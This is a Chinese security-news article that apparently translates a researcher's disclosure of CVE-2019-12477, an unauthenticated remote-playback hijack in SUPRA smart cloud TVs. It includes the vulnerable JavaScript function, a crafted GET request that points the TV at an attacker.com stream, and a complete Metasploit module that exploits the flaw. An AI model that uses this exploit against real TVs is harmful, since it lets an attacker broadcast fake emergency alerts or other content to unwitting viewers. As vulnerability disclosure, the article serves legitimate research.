freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

挖洞经验丨看我如何玩转SUPRA智能云电视
clouds 2019-07-21 15:00:15 417579

smart-tv.jpg近期,迪拜安全研究员Dhiraj Mishra 发现,SUPRA智能云电视存在播放可劫持漏洞(CVE-2019-12477),与SUPRA电视处于同一无线网络环境中的攻击者,可向电视设备伪造播放请求,插播任意视频内容或虚假广播消息。

据悉,SUPRA智能云电视在俄罗斯和东欧地区非常受欢迎,主要通过网上销售渠道销往俄罗斯、中国和阿联酋等国。Dhiraj Mishra发现的漏洞问题在于电视流媒体获取功能 'openLiveURL()',SUPRA电视用它来获取流媒体的播放内容。Mishra发现,该功能缺乏必要的认证授权和会话管理措施,攻击者可以通过向一个静态的URL发送构造请求来触发漏洞,绕过授权验证,向播放机制中注入远程视频流文件,播放任意视频内容。

漏洞细节

Dhiraj Mishra透露,他通过源码检查、应用枚举和请求发送方式最终发现了该漏洞。漏洞接口位于 /remote/media_control?action=setUri&uri=URI服务端,存在漏洞的功能函数为openLiveTV(url),以下为openLiveTV(url)函数源码片段:

function openLiveTV(url)

  {

  $.get("/remote/media_control", {m_action:'setUri',m_uri:url,m_type:'video/*'},

   function (data, textStatus){

   if("success"==textStatus){

    alert(textStatus);

   }else

   {

    alert(textStatus);

   }

  });

  }

向电视设备插入任意视频播放的构造请求:

GET /remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8 HTTP/1.1

Host: 192.168.1.155

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

当然,也可以直接用以下方式向处于同一无线网络环境中的SUPRA智能电视发起请求,也能实现插播效果:

http://192.168.1.155/remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8

尽管上述电视播放URL中需要的是.m3u8格式视频,但我们可用`curl -v -X GET`命令方式来发送类似请求。基于上述分析,恶意攻击者可以无需任何权限限制,向SUPRA智能电视插播任意视频,严重的情况是,攻击者可以利用这种方式来进行虚假信息或反动内容的煽动性宣传,引起社会恐慌。

虽然发现漏洞已有一段时间,但因为我实在联系不到SUPRA智能电视供应商,所以一直到现在,这个漏洞也还是未修复状态。以下POC视频展示的是SUPRA智能电视在播放乔布斯演讲节目时,攻击者利用上述漏洞,突然插播了伪造的美国国家紧急报警系统消息(Emergency Alert System):

Metasploit msf exploit攻击模块

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})

    super(update_info(info,

      'Name'           => 'Supra Smart Cloud TV Remote File Inclusion',

      'Description'    => %q{

        This module exploits an unauthenticated remote file inclusion which

        exists in Supra Smart Cloud TV. The media control for the device doesn't

        have any session management or authentication. Leveraging this, an

        attacker on the local network can send a crafted request to broadcast a

        fake video.

      },

      'Author'         => [

        'Dhiraj Mishra', # Discovery, PoC, and module

        'wvu'            # Module

      ],

      'References'     => [

        ['CVE', '2019-12477'],

        ['URL', 'https://www.inputzero.io/2019/06/hacking-smart-tv.html']

      ],

      'DisclosureDate' => '2019-06-03',

      'License'        => MSF_LICENSE

    ))

    deregister_options('URIPATH')

  end

  def run

    start_service('Path' => '/')

    print_status("Broadcasting Epic Sax Guy to #{peer}")

    res = send_request_cgi(

      'method'        => 'GET',

      'uri'           => '/remote/media_control',

      'encode_params' => false,

      'vars_get'      => {

        'action'      => 'setUri',

        'uri'         => get_uri + 'epicsax.m3u8'

      }

    )

    unless res && res.code == 200 && res.body.include?('OK')

      print_error('No doo-doodoodoodoodoo-doo for you')

      return

    end

    # Sleep time calibrated using successful pcap

    print_good('Doo-doodoodoodoodoo-doo')

    print_status('Sleeping for 10s serving .m3u8 and .ts files...')

    sleep(10)

  end

  def on_request_uri(cli, request)

    dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-12477')

    files = {

      '/epicsax.m3u8' => 'application/x-mpegURL',

      '/epicsax0.ts'  => 'video/MP2T',

      '/epicsax1.ts'  => 'video/MP2T',

      '/epicsax2.ts'  => 'video/MP2T',

      '/epicsax3.ts'  => 'video/MP2T',

      '/epicsax4.ts'  => 'video/MP2T'

    }

    file = request.uri

    unless files.include?(file)

      vprint_error("Sending 404 for #{file}")

      return send_not_found(cli)

    end

    data = File.read(File.join(dir, file))

    vprint_good("Sending #{file}")

    send_response(cli, data, 'Content-Type' => files[file])

  end

end

*参考来源:inputzero,clouds编译,转载请注明来自FreeBuf.COM

# 漏洞 # 智能电视 # 可劫持攻击
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 clouds 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
clouds LV.9
I'm a robot , don't talk to me , code to me.
  • 348 文章数
  • 609 关注者
挖洞经验 | 获取国际象棋对战网站Chess.com五千万用户信息
2021-02-24
挖洞经验 | 多种针对开启HTTP PUT方法的漏洞利用
2021-02-23
挖洞经验 | 以账户更新方式实现某大公司网站普通用户到管理员的提权
2021-02-22
文章目录